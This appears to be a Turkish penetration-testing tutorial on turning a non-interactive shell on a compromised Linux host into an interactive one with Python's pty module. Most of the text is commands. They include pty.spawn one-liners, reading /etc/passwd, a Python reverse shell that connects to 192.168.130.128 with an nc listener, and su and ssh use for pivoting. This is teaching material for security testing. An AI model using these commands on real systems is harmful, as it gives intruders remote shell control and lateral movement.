Linux Sızma Testlerinde Python pty Modülü ile Etkileşimsiz Kabuktan Etkileşimli Kabuğa Geçiş Sağlama

0
1453
views
Sızma testlerinde bir Linux sistem ele geçirildikten sonra, bu sistemin komut satırında bir takım komutlar çalıştırmaya ihtiyaç duyulabilir. Ancak etkileşimli kabuk (interactive shell) elde edilemediği durumlarda su, sudo, ssh gibi etkileşim isteyen bazı komutlar çalıştırılamayabilir. Bu yazıda, etkileşimli olmayan bir kabuk erişimi elde edilen Linux bir sistemde bir Python kodu ile etkileşimli kabuk elde edilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

 

Erişim elde edilen bir Linux sistemde çalıştırılabilen 2 örnek komut aşağıdaki gibidir.

id
head -3 /etc/passwd

 

Bunun yanında etkileşim bekleyen, kullanıcıdan veri (parola değeri gibi) girişi isteyen bazı komutlar (su, sudo, ssh gibi) ise etkileşimsiz kabuklarda (non-interactive shell) çalışmamaktadır.

su – msfadmin
top
ssh root@192.168.30.133

 

Not: Mevcut kabuğun etkileşimlik olup olmadığını anlamak için “$-” sorgusu kullanılabilir.

[[ $- == *i* ]] && echo ‘Interactive’ || echo ‘Not interactive’

 

Etkileşimsiz kabuktan etkileşimli kabuğa geçebilmek için çeşitli yöntemler bulunmaktadır. Bu yöntemlerden birisi de Python paketi kurulu olan hedef sistemde pty (Pseudo-terminal Utilities) modülünün spawn metodunu kullanmaktadır. Böylece aynı yetkiler ile etkileşimli komut satırı elde edilebilir.

python -c ‘import pty;pty.spawn(“/bin/sh”)’
id

 

 

Not: Bir dosya içerisine yazılarak da kabuk elde edilebilir.

echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/kabuk.py
python /tmp/kabuk.py

 

Not: Elde edilen kabuktan çalıştırılan komutun tekrarı da ekrana yazılmaktadır. Bu sebeple aşağıdaki komut kullanılarak da kabuk erişimi elde edilebilir.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.130.128”,12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
nc -lnvp 10401

 

Not: “python” yerine farklı sürümlerin olduğu durumlarda sürüme ait aracın kullanılması gerekebilir.

python3.5 -c ‘import pty;pty.spawn(“/bin/bash”)’

 

 

Elde edilen etkileşimli kabuk ile daha önceden çalıştırılamayan su, sudo gibi komutlar çalıştırılabilir.

su – msfadmin
id

 

Not: “su” aracının çalıştırılamadığı bu ve benzeri bir durumda “su” aracı yerine “chsh” aracı da kullanılabilir.

/usr/bin/chsh

 

Bunun yanında bellek durumu incelenebilir.

top

 

Benzer olarak ele geçirilen ele geçirilen Linux sistem üzerinden başka sistemlere erişim sağlanabilir.

ssh root@192.168.30.133

 

 

Kaynak:

Spawning a TTY Shell


https://highon.coffee/blog/reverse-shell-cheat-sheet/
https://pen-testing.sans.org/blog/2017/02/01/pen-test-poster-white-board-python-raw-shell-terminal

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri